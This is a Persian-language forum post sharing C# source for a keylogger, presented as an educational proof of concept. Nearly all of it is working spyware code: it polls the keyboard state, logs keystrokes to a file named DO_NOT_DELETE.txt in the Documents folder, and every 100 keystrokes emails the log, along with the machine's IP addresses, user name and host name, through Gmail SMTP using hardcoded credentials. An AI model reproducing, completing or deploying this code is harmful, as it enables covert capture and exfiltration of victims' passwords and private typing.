سورس یک کیلاگر ساده نوشته شده با #C جهت آشنایی با عملکرد Keylogger ها
این برنامه فعالیت های شما را ذخیره و فایل جمع آوری شده را ایمیل میکند
program.cs
	
							
						
					این برنامه فعالیت های شما را ذخیره و فایل جمع آوری شده را ایمیل میکند
program.cs
کد:
	using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Mail;
namespace Keylogger_proof_of_concept_1
{
class Program
{
[DllImport("User32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static long NumberOfKeystrokes = 0; //string to store keystrokes
static void Main(string[] args)
{
String filepath = Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments); //Get Documents filepath
if (!Directory.Exists(filepath)) //If weird happens, prevent errors
{
Directory.CreateDirectory(filepath);
}
string path = (filepath + @"\DO_NOT_DELETE.txt"); //File name
if (File.Exists(path)) //If file !exists, make one
{
using (StreamWriter sw = File.CreateText(path))
{
};
}
//capture keystrokes and console.write
while (true)
{
//pause to not crash computer
Thread.Sleep(40);
//check key state
for (int i = 32; i < 127; i++) //ASCII 32 is space, ASCII 127 is last letter.
{
int keyState = GetAsyncKeyState(i);
if (keyState == 32768) //print to console
{
//Debug
Console.Write((char) i + ", ");//console.write (debug attempt)
//write to file
using (StreamWriter sw = File.AppendText(path)) //Decrease disk activity later.
{
sw.Write(getKeyType(i));
}
NumberOfKeystrokes++;
//send logs every 100 chars
if (NumberOfKeystrokes % 100 == 0)
{
MailLogs();
}
}
}
//save in text file
//send contents using email
}
}//main
static void MailLogs()
{
// Email assembly
String folderName = Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments);
string filePath = (folderName + @"\DO_NOT_DELETE.txt"); //File name again
String logContents = File.ReadAllText(filePath);
string emailBody = ""
;
DateTime now = DateTime.Now;
string subject = "Keylogger Contents (lol)";
var host = Dns.GetHostEntry(Dns.GetHostName());
foreach (var address in host.AddressList)
{
emailBody += "Sender IP Address: " + address;
}
emailBody += "\n User: " + Environment.UserDomainName + "\\" + Environment.UserName;
emailBody += "\nHost: " + host;
emailBody += "\nTime Stamp: " + now.ToString();
emailBody += "\n" + logContents;
//Email Send here, GMAIL uses 587 (Check Documentation)
SmtpClient client = new SmtpClient("smtp.gmail.com", 587); //edit this to change email provider
MailMessage EmailMessage = new MailMessage();
EmailMessage.From = new MailAddress("[email protected]"); //Edit this too
EmailMessage.To.Add("[email protected]");
EmailMessage.Subject = subject;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("thatcraphacker@gmail .com", "HackingisFun1234");
EmailMessage.Body = emailBody;
client.Send(EmailMessage);
}
private String getKeyType(int code)
{
String key = "";
if (code == 8) key = "[Back]";
else if (code == 9) key = "[TAB]";
else if (code == 13) key = "[Enter]";
else if (code == 19) key = "[Pause]";
else if (code == 20) key = "[Caps Lock]";
else if (code == 27) key = "[Esc]";
else if (code == 32) key = "[Space]";
else if (code == 33) key = "[Page Up]";
else if (code == 34) key = "[Page Down]";
else if (code == 35) key = "[End]";
else if (code == 36) key = "[Home]";
else if (code == 37) key = "Left]";
else if (code == 38) key = "[Up]";
else if (code == 39) key = "[Right]";
else if (code == 40) key = "[Down]";
else if (code == 44) key = "[Print Screen]";
else if (code == 45) key = "[Insert]";
else if (code == 46) key = "[Delete]";
else if (code == 48) key = "0";
else if (code == 49) key = "1";
else if (code == 50) key = "2";
else if (code == 51) key = "3";
else if (code == 52) key = "4";
else if (code == 53) key = "5";
else if (code == 54) key = "6";
else if (code == 55) key = "7";
else if (code == 56) key = "8";
else if (code == 57) key = "9";
else if (code == 65) key = "a";
else if (code == 66) key = "b";
else if (code == 67) key = "c";
else if (code == 68) key = "d";
else if (code == 69) key = "e";
else if (code == 70) key = "f";
else if (code == 71) key = "g";
else if (code == 72) key = "h";
else if (code == 73) key = "i";
else if (code == 74) key = "j";
else if (code == 75) key = "k";
else if (code == 76) key = "l";
else if (code == 77) key = "m";
else if (code == 78) key = "n";
else if (code == 79) key = "o";
else if (code == 80) key = "p";
else if (code == 81) key = "q";
else if (code == 82) key = "r";
else if (code == 83) key = "s";
else if (code == 84) key = "t";
else if (code == 85) key = "u";
else if (code == 86) key = "v";
else if (code == 87) key = "w";
else if (code == 88) key = "x";
else if (code == 89) key = "y";
else if (code == 90) key = "z";
else if (code == 91) key = "[Windows]";
else if (code == 92) key = "[Windows]";
else if (code == 93) key = "[List]";
else if (code == 96) key = "0";
else if (code == 97) key = "1";
else if (code == 98) key = "2";
else if (code == 99) key = "3";
else if (code == 100) key = "4";
else if (code == 101) key = "5";
else if (code == 102) key = "6";
else if (code == 103) key = "7";
else if (code == 104) key = "8";
else if (code == 105) key = "9";
else if (code == 106) key = "*";
else if (code == 107) key = "+";
else if (code == 109) key = "-";
else if (code == 110) key = ",";
else if (code == 111) key = "/";
else if (code == 112) key = "[F1]";
else if (code == 113) key = "[F2]";
else if (code == 114) key = "[F3]";
else if (code == 115) key = "[F4]";
else if (code == 116) key = "[F5]";
else if (code == 117) key = "[F6]";
else if (code == 118) key = "[F7]";
else if (code == 119) key = "[F8]";
else if (code == 120) key = "[F9]";
else if (code == 121) key = "[F10]";
else if (code == 122) key = "[F11]";
else if (code == 123) key = "[F12]";
else if (code == 144) key = "[Num Lock]";
else if (code == 145) key = "[Scroll Lock]";
else if (code == 160) key = "[Shift]";
else if (code == 161) key = "[Shift]";
else if (code == 162) key = "[Ctrl]";
else if (code == 163) key = "[Ctrl]";
else if (code == 164) key = "[Alt]";
else if (code == 165) key = "[Alt]";
else if (code == 187) key = "=";
else if (code == 186) key = "ç";
else if (code == 188) key = ",";
else if (code == 189) key = "-";
else if (code == 190) key = ".";
else if (code == 192) key = "'";
else if (code == 191) key = ";";
else if (code == 193) key = "/";
else if (code == 194) key = ".";
else if (code == 219) key = "´";
else if (code == 220) key = "]";
else if (code == 221) key = "[";
else if (code == 222) key = "~";
else if (code == 226) key = "\\";
else key = "[" + code + "]";
return key;
}
}
}
[B][/B]
